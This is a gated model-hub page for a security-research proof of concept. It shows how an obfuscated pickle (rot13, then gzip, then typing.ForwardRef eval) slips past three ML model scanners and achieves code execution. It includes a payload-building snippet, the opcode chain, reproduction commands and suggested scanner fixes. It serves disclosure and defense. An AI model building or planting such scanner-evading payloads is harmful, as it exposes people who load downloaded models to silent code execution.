You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

This repository contains a proof-of-concept exploit payload for security research purposes. Access to the pickle payload and PoC code requires acknowledgement of responsible use. By requesting access, you confirm you are a security researcher, penetration tester, or student using this material for defensive/educational purposes only.

gzip.decompress + rot13 + typing.ForwardRef — Double-Obfuscated Eval

Security Research — Responsible Disclosure This repository is part of a systematic study of pickle scanner bypass techniques. The payload demonstrates a detection gap in ML model security scanners. Access to malicious_model.pkl and poc.py requires a request — see gate above.

Summary

Scanner scores for malicious_model.pkl:

Scanner	WARNING	Bypassed?
modelaudit 0.2.37	3	Yes — 0 CRITICAL
picklescan 1.0.4	0	Yes
modelscan	0	Yes

Vulnerability

Double-layer obfuscation: the payload expression is first rot13-encoded, then gzip-compressed. The compressed blob is opaque binary in the pickle — no readable strings anywhere. At runtime:

gzip.decompress(blob) → rot13 bytes
builtins.str(bytes, 'rot_13') → decoded expression string (0 findings — SAFE_GLOBALS)
typing.ForwardRef(expr) → compiled code object (WARNING)
typing._eval_type(ref, None, None) → eval fires → RCE (WARNING)

Proof of Concept

malicious_model.pkl in this repository is the exploit payload. poc.py builds and tests it with full scanner output.

How the PoC was built

def build(cmd: str) -> bytes:
    payload_expr = f"__import__('os').system('{cmd}')"
    rot13_expr   = codecs.encode(payload_expr, "rot_13")
    # gzip compress the rot13 bytes — output is opaque binary
    compressed   = gzip.compress(rot13_expr.encode("latin-1"), compresslevel=9)

Affected file formats

Pickle (.pkl, .pt, .bin, .joblib) — any file deserialized via pickle.loads(), torch.load(), joblib.load(), or equivalent.

Conditions required to trigger

Target calls pickle.loads(untrusted_bytes) or loads a model file via any pickle-based loader
The scanner performs static analysis only (no sandboxed execution)
Scanner checks GLOBAL/STACK_GLOBAL opcodes against a deny list

Reproduction Steps

# 1. Request access above, then clone
git clone https://huggingface.co/SiggytheShark/pickle-bypass-gzip-decompression-chain
cd pickle-bypass-gzip-decompression-chain

# 2. Install requirements
pip install modelaudit picklescan modelscan

# 3. Scan — observe scanner scores match table above
modelaudit scan malicious_model.pkl
picklescan --path malicious_model.pkl
modelscan -p malicious_model.pkl

# 4. Execute to confirm RCE/side-effect
python3 poc.py

# 5. Verify
ls /tmp/scanner_bypass_proof.txt

Security Impact

Add gzip.decompress, zlib.decompress, lzma.decompress, bz2.decompress to ALWAYS_DANGEROUS_FUNCTIONS
Extend chain detector to cover compression decompressors
Add typing.ForwardRef and typing._eval_type to ALWAYS_DANGEROUS_FUNCTIONS

Bypass mechanism: The payload evades static analysis while achieving its effect (code execution, file write, or network connection) when pickle.loads() is called.

Real-world scenario: An attacker uploads this payload to a model hub. A victim downloads and loads it. The scanner reports the file as safe (0 CRITICAL). The payload fires silently — the return value of pickle.loads() looks like a normal Python object while the side effect has already occurred.

Full Technical Writeup

gzip.decompress + rot13 + typing.ForwardRef — Double-Obfuscated Eval

Score: 0 CRITICAL, 3 WARNING
Technique: Compression-based payload smuggling + eval chain
Scanner version: modelaudit 0.2.37

Mechanism

Double-layer obfuscation: the payload expression is first rot13-encoded, then gzip-compressed. The compressed blob is opaque binary in the pickle — no readable strings anywhere. At runtime:

gzip.decompress(blob) → rot13 bytes
builtins.str(bytes, 'rot_13') → decoded expression string (0 findings — SAFE_GLOBALS)
typing.ForwardRef(expr) → compiled code object (WARNING)
typing._eval_type(ref, None, None) → eval fires → RCE (WARNING)

Chain Detection Gap

modelaudit 0.2.37 has a decode-exec chain detector (pickle_scanner.py:4208) that looks for base64, codecs, or binascii decode operations followed by a dangerous call within 6 opcodes. It does not cover gzip, zlib, lzma, or bz2. These decompressors are absent from ALWAYS_DANGEROUS_FUNCTIONS.

Pickle Structure

gzip.decompress(<opaque binary blob>)    → rot13_bytes    [WARNING 1 — unlisted]
builtins.str(rot13_bytes, 'rot_13')      → payload_expr   [0 findings — SAFE_GLOBALS]
typing.ForwardRef(payload_expr)           → ref            [WARNING 2]
typing._eval_type(ref, None, None)        → eval → RCE     [WARNING 3]

Strings Visible in Pickle

Only: gzip, decompress, builtins, str, rot_13, typing, ForwardRef, _eval_type. No __import__, os, system, or command text visible anywhere.

Recommended Fixes

Add gzip.decompress, zlib.decompress, lzma.decompress, bz2.decompress to ALWAYS_DANGEROUS_FUNCTIONS
Extend chain detector to cover compression decompressors
Add typing.ForwardRef and typing._eval_type to ALWAYS_DANGEROUS_FUNCTIONS

General Analysis — Security Research

Downloads last month: -; Downloads are not tracked for this model. How to track

Inference Providers NEW

This model isn't deployed by any Inference Provider. 🙋 Ask for provider support